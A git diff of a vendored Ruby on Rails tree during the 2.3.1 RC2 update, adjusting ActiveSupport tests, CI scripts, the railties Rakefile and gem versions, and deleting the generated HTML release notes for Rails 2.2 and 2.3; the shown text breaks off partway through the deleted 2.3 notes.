-1,3 +1,4 @@ +# encoding: UTF-8 require 'abstract_unit' class TestJSONDecoding < Test::Unit::TestCase @@ -10,6 +11,8 @@ class TestJSONDecoding < Test::Unit::TestCase %({"returnTo":[1,"\\"a\\",", "b"]}) => {"returnTo" => [1, "\"a\",", "b"]}, %({a: "'", "b": "5,000"}) => {"a" => "'", "b" => "5,000"}, %({a: "a's, b's and c's", "b": "5,000"}) => {"a" => "a's, b's and c's", "b" => "5,000"}, + # multibyte + %({"matzue": "松江", "asakusa": "浅草"}) => {"matzue" => "松江", "asakusa" => "浅草"}, %({a: "2007-01-01"}) => {'a' => Date.new(2007, 1, 1)}, %({a: "2007-01-01 01:12:34 Z"}) => {'a' => Time.utc(2007, 1, 1, 1, 12, 34)}, # no time zone diff --git a/vendor/rails/activesupport/test/test_test.rb b/vendor/rails/activesupport/test/test_test.rb index 298037e2..d250b108 100644 --- a/vendor/rails/activesupport/test/test_test.rb +++ b/vendor/rails/activesupport/test/test_test.rb @@ -66,7 +66,8 @@ class AssertDifferenceTest < ActiveSupport::TestCase end fail 'should not get to here' rescue Exception => e - assert_equal "<3> expected but was\n<2>.", e.message + assert_match(/didn't change by/, e.message) + assert_match(/expected but was/, e.message) end def test_array_of_expressions_identify_failure_when_message_provided @@ -75,7 +76,9 @@ class AssertDifferenceTest < ActiveSupport::TestCase end fail 'should not get to here' rescue Exception => e - assert_equal "something went wrong.\n<3> expected but was\n<2>.", e.message + assert_match(/something went wrong/, e.message) + assert_match(/didn't change by/, e.message) + assert_match(/expected but was/, e.message) end else def default_test; end diff --git a/vendor/rails/activesupport/test/time_zone_test.rb b/vendor/rails/activesupport/test/time_zone_test.rb index f80575cf..6dec6a8f 100644 --- a/vendor/rails/activesupport/test/time_zone_test.rb +++ b/vendor/rails/activesupport/test/time_zone_test.rb @@ -2,34 +2,26 @@ require 'abstract_unit' class TimeZoneTest < Test::Unit::TestCase def test_utc_to_local - silence_warnings do # silence warnings raised by tzinfo gem - zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] - assert_equal Time.utc(1999, 12, 31, 19), zone.utc_to_local(Time.utc(2000, 1)) # standard offset -0500 - assert_equal Time.utc(2000, 6, 30, 20), zone.utc_to_local(Time.utc(2000, 7)) # dst offset -0400 - end + zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] + assert_equal Time.utc(1999, 12, 31, 19), zone.utc_to_local(Time.utc(2000, 1)) # standard offset -0500 + assert_equal Time.utc(2000, 6, 30, 20), zone.utc_to_local(Time.utc(2000, 7)) # dst offset -0400 end def test_local_to_utc - silence_warnings do # silence warnings raised by tzinfo gem - zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] - assert_equal Time.utc(2000, 1, 1, 5), zone.local_to_utc(Time.utc(2000, 1)) # standard offset -0500 - assert_equal Time.utc(2000, 7, 1, 4), zone.local_to_utc(Time.utc(2000, 7)) # dst offset -0400 - end + zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] + assert_equal Time.utc(2000, 1, 1, 5), zone.local_to_utc(Time.utc(2000, 1)) # standard offset -0500 + assert_equal Time.utc(2000, 7, 1, 4), zone.local_to_utc(Time.utc(2000, 7)) # dst offset -0400 end def test_period_for_local - silence_warnings do # silence warnings raised by tzinfo gem - zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] - assert_instance_of TZInfo::TimezonePeriod, zone.period_for_local(Time.utc(2000)) - end + zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] + assert_instance_of TZInfo::TimezonePeriod, zone.period_for_local(Time.utc(2000)) end ActiveSupport::TimeZone::MAPPING.keys.each do |name| define_method("test_map_#{name.downcase.gsub(/[^a-z]/, '_')}_to_tzinfo") do - silence_warnings do # silence warnings raised by tzinfo gem - zone = ActiveSupport::TimeZone[name] - assert zone.tzinfo.respond_to?(:period_for_local) - end + zone = ActiveSupport::TimeZone[name] + assert zone.tzinfo.respond_to?(:period_for_local) end end @@ -44,16 +36,12 @@ class TimeZoneTest < Test::Unit::TestCase ActiveSupport::TimeZone.all.each do |zone| name = zone.name.downcase.gsub(/[^a-z]/, '_') define_method("test_from_#{name}_to_map") do - silence_warnings do # silence warnings raised by tzinfo gem - assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[zone.name] - end + assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[zone.name] end define_method("test_utc_offset_for_#{name}") do - silence_warnings do # silence warnings raised by tzinfo gem - period = zone.tzinfo.current_period - assert_equal period.utc_offset, zone.utc_offset - end + period = zone.tzinfo.current_period + assert_equal period.utc_offset, zone.utc_offset end end @@ -98,19 +86,15 @@ class TimeZoneTest < Test::Unit::TestCase end def test_local - silence_warnings do # silence warnings raised by tzinfo gem - time = ActiveSupport::TimeZone["Hawaii"].local(2007, 2, 5, 15, 30, 45) - assert_equal Time.utc(2007, 2, 5, 15, 30, 45), time.time - assert_equal ActiveSupport::TimeZone["Hawaii"], time.time_zone - end + time = ActiveSupport::TimeZone["Hawaii"].local(2007, 2, 5, 15, 30, 45) + assert_equal Time.utc(2007, 2, 5, 15, 30, 45), time.time + assert_equal ActiveSupport::TimeZone["Hawaii"], time.time_zone end def test_local_with_old_date - silence_warnings do # silence warnings raised by tzinfo gem - time = ActiveSupport::TimeZone["Hawaii"].local(1850, 2, 5, 15, 30, 45) - assert_equal [45,30,15,5,2,1850], time.to_a[0,6] - assert_equal ActiveSupport::TimeZone["Hawaii"], time.time_zone - end + time = ActiveSupport::TimeZone["Hawaii"].local(1850, 2, 5, 15, 30, 45) + assert_equal [45,30,15,5,2,1850], time.to_a[0,6] + assert_equal ActiveSupport::TimeZone["Hawaii"], time.time_zone end def test_local_enforces_spring_dst_rules @@ -179,29 +163,23 @@ class TimeZoneTest < Test::Unit::TestCase end def test_parse_with_old_date - silence_warnings do # silence warnings raised by tzinfo gem - zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] - twz = zone.parse('1850-12-31 19:00:00') - assert_equal [0,0,19,31,12,1850], twz.to_a[0,6] - assert_equal zone, twz.time_zone - end + zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] + twz = zone.parse('1850-12-31 19:00:00') + assert_equal [0,0,19,31,12,1850], twz.to_a[0,6] + assert_equal zone, twz.time_zone end def test_parse_far_future_date_with_time_zone_offset_in_string - silence_warnings do # silence warnings raised by tzinfo gem - zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] - twz = zone.parse('2050-12-31 19:00:00 -10:00') # i.e., 2050-01-01 05:00:00 UTC - assert_equal [0,0,0,1,1,2051], twz.to_a[0,6] - assert_equal zone, twz.time_zone - end + zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] + twz = zone.parse('2050-12-31 19:00:00 -10:00') # i.e., 2050-01-01 05:00:00 UTC + assert_equal [0,0,0,1,1,2051], twz.to_a[0,6] + assert_equal zone, twz.time_zone end def test_parse_returns_nil_when_string_without_date_information_is_passed_in - silence_warnings do # silence warnings raised by tzinfo gem - zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] - assert_nil zone.parse('foobar') - assert_nil zone.parse(' ') - end + zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] + assert_nil zone.parse('foobar') + assert_nil zone.parse(' ') end def test_parse_with_incomplete_date @@ -212,12 +190,10 @@ class TimeZoneTest < Test::Unit::TestCase end def test_utc_offset_lazy_loaded_from_tzinfo_when_not_passed_in_to_initialize - silence_warnings do # silence warnings raised by tzinfo gem - tzinfo = TZInfo::Timezone.get('America/New_York') - zone = ActiveSupport::TimeZone.create(tzinfo.name, nil, tzinfo) - assert_equal nil, zone.instance_variable_get('@utc_offset') - assert_equal(-18_000, zone.utc_offset) - end + tzinfo = TZInfo::Timezone.get('America/New_York') + zone = ActiveSupport::TimeZone.create(tzinfo.name, nil, tzinfo) + assert_equal nil, zone.instance_variable_get('@utc_offset') + assert_equal(-18_000, zone.utc_offset) end def test_formatted_offset_positive diff --git a/vendor/rails/ci/ci_build.rb b/vendor/rails/ci/ci_build.rb index 010f78ba..0b9bd3d2 100755 --- a/vendor/rails/ci/ci_build.rb +++ b/vendor/rails/ci/ci_build.rb @@ -98,9 +98,9 @@ puts "[CruiseControl] #{`mysql --version`}" puts "[CruiseControl] #{`pg_config --version`}" puts "[CruiseControl] SQLite2: #{`sqlite -version`}" puts "[CruiseControl] SQLite3: #{`sqlite3 -version`}" -`gem env`.each {|line| print "[CruiseControl] #{line}"} +`gem env`.each_line {|line| print "[CruiseControl] #{line}"} puts "[CruiseControl] Local gems:" -`gem list`.each {|line| print "[CruiseControl] #{line}"} +`gem list`.each_line {|line| print "[CruiseControl] #{line}"} failures = build_results.select { |key, value| value == false } diff --git a/vendor/rails/ci/geminstaller.yml b/vendor/rails/ci/geminstaller.yml index d11bf044..33f1e811 100644 --- a/vendor/rails/ci/geminstaller.yml +++ b/vendor/rails/ci/geminstaller.yml @@ -7,7 +7,7 @@ gems: - name: memcache-client version: >= 1.5.0 - name: mocha - version: >= 0.9.4 + version: >= 0.9.5 - name: mysql #version: >= 2.7 version: = 2.7 diff --git a/vendor/rails/railties/CHANGELOG b/vendor/rails/railties/CHANGELOG index 38c6f808..962869f9 100644 --- a/vendor/rails/railties/CHANGELOG +++ b/vendor/rails/railties/CHANGELOG @@ -1,5 +1,12 @@ +*2.3.1 [RC2] (February 27th, 2009)* + +* Allow metal to live in plugins #2045 [Matthew Rudy] + + *2.3.0 [RC1] (February 1st, 2009)* +* Added metal [Josh Peek] + * Remove script/performance/request in favour of the performance integration tests. [Pratik Naik] To continue using script/performance/request, install the request_profiler plugin : diff --git a/vendor/rails/railties/Rakefile b/vendor/rails/railties/Rakefile index 30d37484..0250cc72 100644 --- a/vendor/rails/railties/Rakefile +++ b/vendor/rails/railties/Rakefile @@ -28,7 +28,8 @@ task :default => :test ## we can see the failures task :test do Dir['test/**/*_test.rb'].all? do |file| - system("ruby -Itest #{file}") + ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME')) + system(ruby, '-Itest', file) end or raise "Failures" end @@ -244,6 +245,11 @@ def copy_with_rewritten_ruby_path(src_file, dest_file) end end +desc 'Generate guides (for authors), use ONLY=foo to process just "foo.textile"' +task :guides do + ruby "guides/rails_guides.rb" +end + # Generate documentation ------------------------------------------------------------------ @@ -272,70 +278,6 @@ Rake::RDocTask.new { |rdoc| rdoc.rdoc_files.include('lib/commands/**/*.rb') } -desc "Generate guides for the framework. Use ONLY='migrations i18n.txt' option to build just specific ones." -task :guides do - require 'mizuho/generator' - - source = "doc/guides/source/" - html = "doc/guides/html/" - FileUtils.rm_r(html) if File.directory?(html) - FileUtils.mkdir(html) - - template = File.expand_path("doc/guides/source/templates/guides.html.erb") - asciidoc_conf = 'doc/guides/asciidoc.conf' - - ignore = ['..', 'icons', 'images', 'templates', 'stylesheets'] - #ignore << 'active_record_basics.txt' - - indexless = ['index.txt', 'authors.txt'] - - # Traverse all entries in doc/guides/source/ or only those specified in ONLY env variable - entries = Dir.entries(source) - if ENV['ONLY'] - only = ENV['ONLY'].split(' ') - unless only.empty? - entries = entries.select do |e| - only.include?(e) || only.include?(e.sub(/\.txt$/, '')) - end - end - end - - entries.each do |entry| - next if ignore.include?(entry) or entry =~ /^\./ # because Vim is always saving hidden swap files - - if File.directory?(File.join(source, entry)) - # If the current entry is a directory, then we will want to compile - # the 'index.txt' file inside this directory. - if entry == '.' - input = File.join(source, 'index.txt') - output = File.join(html, "index.html") - else - input = File.join(source, entry, 'index.txt') - output = File.join(html, "#{entry}.html") - end - else - # If the current entry is a file, then we will want to compile this file. - input = File.join(source, entry) - output = File.join(html, entry).sub(/\.txt$/, '.html') - end - - begin - puts "GENERATING => #{output}" - ENV['MANUALSONRAILS_TOC'] = 'no' if indexless.include?(entry) - Mizuho::Generator.new(input, :output => output, :template => template, :conf_file => asciidoc_conf).start - rescue Mizuho::GenerationError - STDERR.puts "*** ERROR" - exit 2 - ensure - ENV.delete('MANUALSONRAILS_TOC') - end - end - - # Copy images and css files to html directory. These dirs are in .gitigore and shouldn't be source controlled. - FileUtils.cp_r File.join(source, 'images'), File.join(html, 'images') - FileUtils.cp_r File.join(source, 'stylesheets'), File.join(html, 'stylesheets') -end - # Generate GEM ---------------------------------------------------------------------------- task :copy_gem_environment do @@ -369,11 +311,11 @@ spec = Gem::Specification.new do |s| EOF s.add_dependency('rake', '>= 0.8.3') - s.add_dependency('activesupport', '= 2.3.0' + PKG_BUILD) - s.add_dependency('activerecord', '= 2.3.0' + PKG_BUILD) - s.add_dependency('actionpack', '= 2.3.0' + PKG_BUILD) - s.add_dependency('actionmailer', '= 2.3.0' + PKG_BUILD) - s.add_dependency('activeresource', '= 2.3.0' + PKG_BUILD) + s.add_dependency('activesupport', '= 2.3.1' + PKG_BUILD) + s.add_dependency('activerecord', '= 2.3.1' + PKG_BUILD) + s.add_dependency('actionpack', '= 2.3.1' + PKG_BUILD) + s.add_dependency('actionmailer', '= 2.3.1' + PKG_BUILD) + s.add_dependency('activeresource', '= 2.3.1' + PKG_BUILD) s.rdoc_options << '--exclude' << '.' s.has_rdoc = false diff --git a/vendor/rails/railties/doc/guides/asciidoc.conf b/vendor/rails/railties/doc/guides/asciidoc.conf deleted file mode 100644 index f8e0c0a3..00000000 --- a/vendor/rails/railties/doc/guides/asciidoc.conf +++ /dev/null @@ -1,26 +0,0 @@ -# Asciidoc substitutes some characters by default, those are called -# "replacements" in the docs. For example => becomes a unicode arrow. -# -# We override replacements to allow copy & paste of source code. - -[replacements] - -# Ellipsis -(? right arrow -(? right double arrow -(? - - - - Ruby on Rails 2.2 Release Notes - - - - - - - - -
- - - -
-

Ruby on Rails 2.2 Release Notes

-
-
-

Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn’t include every little bug fix and change. If you want to see everything, check out the list of commits in the main Rails repository on GitHub.

-

Along with Rails, 2.2 marks the launch of the Ruby on Rails Guides, the first results of the ongoing Rails Guides hackfest. This site will deliver high-quality documentation of the major features of Rails.

-
-
-

1. Infrastructure

-
-

Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.

-

1.1. Internationalization

-

Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).

-
-

1.2. Compatibility with Ruby 1.9 and JRuby

-

Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.

-
-

2. Documentation

-
-

The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the Ruby on Rails Guides project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:

-
-

All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.

-

If you want to generate these guides locally, inside your application:

-
-
-
rake doc:guides
-

This will put the guides inside RAILS_ROOT/doc/guides and you may start surfing straight away by opening RAILS_ROOT/doc/guides/index.html in your favourite browser.

-
-
-

3. Better integration with HTTP : Out of the box ETag support

-
-

Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn’t been modified lately. This allows you to check whether a response needs to be sent at all.

-
-
-
class ArticlesController < ApplicationController
-  def show_with_respond_to_block
-    @article = Article.find(params[:id])
-
-    # If the request sends headers that differs from the options provided to stale?, then
-    # the request is indeed stale and the respond_to block is triggered (and the options
-    # to the stale? call is set on the response).
-    #
-    # If the request headers match, then the request is fresh and the respond_to block is
-    # not triggered. Instead the default render will occur, which will check the last-modified
-    # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
-    # of rendering the template.
-    if stale?(:last_modified => @article.published_at.utc, :etag => @article)
-      respond_to do |wants|
-        # normal response processing
-      end
-    end
-  end
-
-  def show_with_implied_render
-    @article = Article.find(params[:id])
-
-    # Sets the response headers and checks them against the request, if the request is stale
-    # (i.e. no match of either etag or last-modified), then the default render of the template happens.
-    # If the request is fresh, then the default render will return a "304 Not Modified"
-    # instead of rendering the template.
-    fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
-  end
-end
-
-

4. Thread Safety

-
-

The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.

-

To enable multithreaded dispatching in production mode of your application, add the following line in your config/environments/production.rb:

-
-
-
config.threadsafe!
-
-
-

5. Active Record

-
-

There are two big additions to talk about here: transactional migrations and pooled database transactions. There’s also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.

-

5.1. Transactional Migrations

-

Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn’t applied. Also, the migration version was stored as having been executed, which means that it couldn’t be simply rerun by rake db:migrate:redo after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.

-
-

5.2. Connection Pooling

-

Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a pool key to your database.yml to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There’s also a wait_timeout that defaults to 5 seconds before giving up. ActiveRecord::Base.connection_pool gives you direct access to the pool if you need it.

-
-
-
development:
-  adapter: mysql
-  username: root
-  database: sample_development
-  pool: 10
-  wait_timeout: 10
-
-

5.3. Hashes for Join Table Conditions

-

You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.

-
-
-
class Photo < ActiveRecord::Base
-  belongs_to :product
-end
-
-class Product < ActiveRecord::Base
-  has_many :photos
-end
-
-# Get all products with copyright-free photos:
-Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
-
-

5.4. New Dynamic Finders

-

Two new sets of methods have been added to Active Record’s dynamic finders family.

-

5.4.1. find_last_by_<attribute>

-

The find_last_by_<attribute> method is equivalent to Model.last(:conditions => {:attribute => value})

-
-
-
# Get the last user who signed up from London
-User.find_last_by_city('London')
-
-

5.4.2. find_by_<attribute>!

-

The new bang! version of find_by_<attribute>! is equivalent to Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound Instead of returning nil if it can’t find a matching record, this method will raise an exception if it cannot find a match.

-
-
-
# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
-User.find_by_name!('Moby')
-
-

5.5. Associations Respect Private/Protected Scope

-

Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) @user.account.private_method would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use @user.account.send(:private_method) (or make the method public instead of private or protected). Please note that if you’re overriding method_missing, you should also override respond_to to match the behavior in order for associations to function normally.

-
-

5.6. Other ActiveRecord Changes

-
    -
  • -

    -rake db:migrate:redo now accepts an optional VERSION to target that specific migration to redo -

    -
    • -
  • -

    -Set config.active_record.timestamped_migrations = false to have migrations with numeric prefix instead of UTC timestamp. -

    -
    • -
  • -

    -Counter cache columns (for associations declared with :counter_cache => true) do not need to be initialized to zero any longer. -

    -
    • -
  • -

    -ActiveRecord::Base.human_name for an internationalization-aware humane translation of model names -

    -
    • -
-
-

6. Action Controller

-
-

On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.

-

6.1. Shallow Route Nesting

-

Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.

-
-
-
map.resources :publishers, :shallow => true do |publisher|
-  publisher.resources :magazines do |magazine|
-    magazine.resources :photos
-  end
-end
-

This will enable recognition of (among others) these routes:

-
-
-
/publishers/1           ==> publisher_path(1)
-/publishers/1/magazines ==> publisher_magazines_path(1)
-/magazines/2            ==> magazine_path(2)
-/magazines/2/photos     ==> magazines_photos_path(2)
-/photos/3               ==> photo_path(3)
-
-
-

6.2. Method Arrays for Member or Collection Routes

-

You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:

-
-
-
map.resources :photos, :collection => { :search => [:get, :post] }
-
-

6.3. Resources With Specific Actions

-

By default, when you use map.resources to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the :only and :except options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special :all or :none options. These options are inherited by nested resources.

-
-
-
map.resources :photos, :only => [:index, :show]
-map.resources :products, :except => :destroy
-
-

6.4. Other Action Controller Changes

-
    -
  • -

    -You can now easily show a custom error page for exceptions raised while routing a request. -

    -
    • -
  • -

    -The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as /customers/1.xml) to indicate the format that you want. If you need the Accept headers, you can turn them back on with config.action_controller.use_accept_header = true. -

    -
    • -
  • -

    -Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds -

    -
    • -
  • -

    -Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers. -

    -
    • -
  • -

    -redirect_to now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI). -

    -
    • -
  • -

    -render now supports a :js option to render plain vanilla javascript with the right mime type. -

    -
    • -
  • -

    -Request forgery protection has been tightened up to apply to HTML-formatted content requests only. -

    -
    • -
  • -

    -Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling polymorphic_path([@project, @date, @area]) with a nil date will give you project_area_path. -

    -
    • -
-
-

7. Action View

-
-
    -
  • -

    -javascript_include_tag and stylesheet_link_tag support a new :recursive option to be used along with :all, so that you can load an entire tree of files with a single line of code. -

    -
    • -
  • -

    -The included Prototype javascript library has been upgraded to version 1.6.0.3. -

    -
    • -
  • -

    -RJS#page.reload to reload the browser’s current location via javascript -

    -
    • -
  • -

    -The atom_feed helper now takes an :instruct option to let you insert XML processing instructions. -

    -
    • -
-
-

8. Action Mailer

-
-

Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the CustomerMailer class expects to use layouts/customer_mailer.html.erb.

-
-

Action Mailer now offers built-in support for GMail’s SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.

-
-

9. Active Support

-
-

Active Support now offers built-in memoization for Rails applications, the each_with_object method, prefix support on delegates, and various other new utility methods.

-

9.1. Memoization

-

Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You’ve probably used this pattern in your own applications:

-
-
-
def full_name
-  @full_name ||= "#{first_name} #{last_name}"
-end
-

Memoization lets you handle this task in a declarative fashion:

-
-
-
extend ActiveSupport::Memoizable
-
-def full_name
-  "#{first_name} #{last_name}"
-end
-memoize :full_name
-

Other features of memoization include unmemoize, unmemoize_all, and memoize_all to turn memoization on or off.

-
-

9.2. each_with_object

-

The each_with_object method provides an alternative to inject, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.

-
-
-
%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
-

Lead Contributor: Adam Keys

-

9.3. Delegates With Prefixes

-

If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:

-
-
-
class Vendor < ActiveRecord::Base
-  has_one :account
-  delegate :email, :password, :to => :account, :prefix => true
-end
-

This will produce delegated methods vendor#account_email and vendor#account_password. You can also specify a custom prefix:

-
-
-
class Vendor < ActiveRecord::Base
-  has_one :account
-  delegate :email, :password, :to => :account, :prefix => :owner
-end
-

This will produce delegated methods vendor#owner_email and vendor#owner_password.

-

Lead Contributor: Daniel Schierbeck

-

9.4. Other Active Support Changes

-
    -
  • -

    -Extensive updates to ActiveSupport::Multibyte, including Ruby 1.9 compatibility fixes. -

    -
    • -
  • -

    -The addition of ActiveSupport::Rescuable allows any class to mix in the rescue_from syntax. -

    -
    • -
  • -

    -past?, today? and future? for Date and Time classes to facilitate date/time comparisons. -

    -
    • -
  • -

    -Array#second through Array#fifth as aliases for Array#[1] through Array#[4] -

    -
    • -
  • -

    -Enumerable#many? to encapsulate collection.size > 1 -

    -
    • -
  • -

    -Inflector#parameterize produces a URL-ready version of its input, for use in to_param. -

    -
    • -
  • -

    -Time#advance recognizes fractional days and weeks, so you can do 1.7.weeks.ago, 1.5.hours.since, and so on. -

    -
    • -
  • -

    -The included TzInfo library has been upgraded to version 0.3.12. -

    -
    • -
  • -

    -ActiveSuport::StringInquirer gives you a pretty way to test for equality in strings: ActiveSupport::StringInquirer.new("abc").abc? => true -

    -
    • -
-
-

10. Railties

-
-

In Railties (the core code of Rails itself) the biggest changes are in the config.gems mechanism.

-

10.1. config.gems

-

To avoid deployment issues and make Rails applications more self-contained, it’s possible to place copies of all of the gems that your Rails application requires in /vendor/gems. This capability first appeared in Rails 2.1, but it’s much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:

-
    -
  • -

    -config.gem gem_name in your config/environment.rb file -

    -
    • -
  • -

    -rake gems to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen) -

    -
    • -
  • -

    -rake gems:install to install missing gems to the computer -

    -
    • -
  • -

    -rake gems:unpack to place a copy of the required gems into /vendor/gems -

    -
    • -
  • -

    -rake gems:unpack:dependencies to get copies of the required gems and their dependencies into /vendor/gems -

    -
    • -
  • -

    -rake gems:build to build any missing native extensions -

    -
    • -
  • -

    -rake gems:refresh_specs to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them -

    -
    • -
-

You can unpack or install a single gem by specifying GEM=gem_name on the command line.

-
-

10.2. Other Railties Changes

-
    -
  • -

    -If you’re a fan of the Thin web server, you’ll be happy to know that script/server now supports Thin directly. -

    -
    • -
  • -

    -script/plugin install <plugin> -r <revision> now works with git-based as well as svn-based plugins. -

    -
    • -
  • -

    -script/console now supports a --debugger option -

    -
    • -
  • -

    -Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source -

    -
    • -
  • -

    -rake notes:custom ANNOTATION=MYFLAG lets you list out custom annotations. -

    -
    • -
  • -

    -Wrapped Rails.env in StringInquirer so you can do Rails.env.development? -

    -
    • -
  • -

    -To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher. -

    -
    • -
-
-

11. Deprecated

-
-

A few pieces of older code are deprecated in this release:

-
    -
  • -

    -Rails::SecretKeyGenerator has been replaced by ActiveSupport::SecureRandom -

    -
    • -
  • -

    -render_component is deprecated. There’s a render_components plugin available if you need this functionality. -

    -
    • -
  • -

    -Implicit local assignments when rendering partials has been deprecated. -

    -
    • -
-
-
-
def partial_with_implicit_local_assignment
-  @customer = Customer.new("Marcel")
-  render :partial => "customer"
-end
-

Previously the above code made available a local variable called customer inside the partial customer. You should explicitly pass all the variables via :locals hash now.

-
    -
  • -

    -country_select has been removed. See the deprecation page for more information and a plugin replacement. -

    -
    • -
  • -

    -ActiveRecord::Base.allow_concurrency no longer has any effect. -

    -
    • -
  • -

    -ActiveRecord::Errors.default_error_messages has been deprecated in favor of I18n.translate(activerecord.errors.messages) -

    -
    • -
  • -

    -The %s and %d interpolation syntax for internationalization is deprecated. -

    -
    • -
  • -

    -String#chars has been deprecated in favor of String#mb_chars. -

    -
    • -
  • -

    -Durations of fractional months or fractional years are deprecated. Use Ruby’s core Date and Time class arithmetic instead. -

    -
    • -
  • -

    -Request#relative_url_root is deprecated. Use ActionController::Base.relative_url_root instead. -

    -
    • -
-
-

12. Credits

-
-

Release notes compiled by Mike Gunderloy

-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/2_3_release_notes.html b/vendor/rails/railties/doc/guides/html/2_3_release_notes.html deleted file mode 100644 index 51b2b39b..00000000 --- a/vendor/rails/railties/doc/guides/html/2_3_release_notes.html +++ /dev/null @@ -1,1033 +0,0 @@ - - - - - Ruby on Rails 2.3 Release Notes - - - - - - - - -
- - - -
-

Ruby on Rails 2.3 Release Notes

-
-
-

Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn’t include every little bug fix and change. If you want to see everything, check out the list of commits in the main Rails repository on GitHub or review the CHANGELOG files for the individual Rails components.

-
-
-

1. Application Architecture

-
-

There are two major changes in the architecture of Rails applications: complete integration of the Rack modular web server interface, and renewed support for Rails Engines.

-

1.1. Rack Integration

-

Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don’t worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:

-
    -
  • -

    -Sessions -

    -
    • -
  • -

    -Cookies -

    -
    • -
  • -

    -File uploads -

    -
    • -
  • -

    -JSON/XML APIs -

    -
    • -
-

Here’s a summary of the rack-related changes:

-
    -
  • -

    -script/server has been switched to use Rack, which means it supports any Rack compatible server. script/server will also pick up a rackup configuration file if one exists. By default, it will look for a config.ru file, but you can override this with the -c switch. -

    -
    • -
  • -

    -The FCGI handler goes through Rack -

    -
    • -
  • -

    -ActionController::Dispatcher maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in environment.rb -

    -
    • -
  • -

    -The rake middleware task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack. -

    -
    • -
  • -

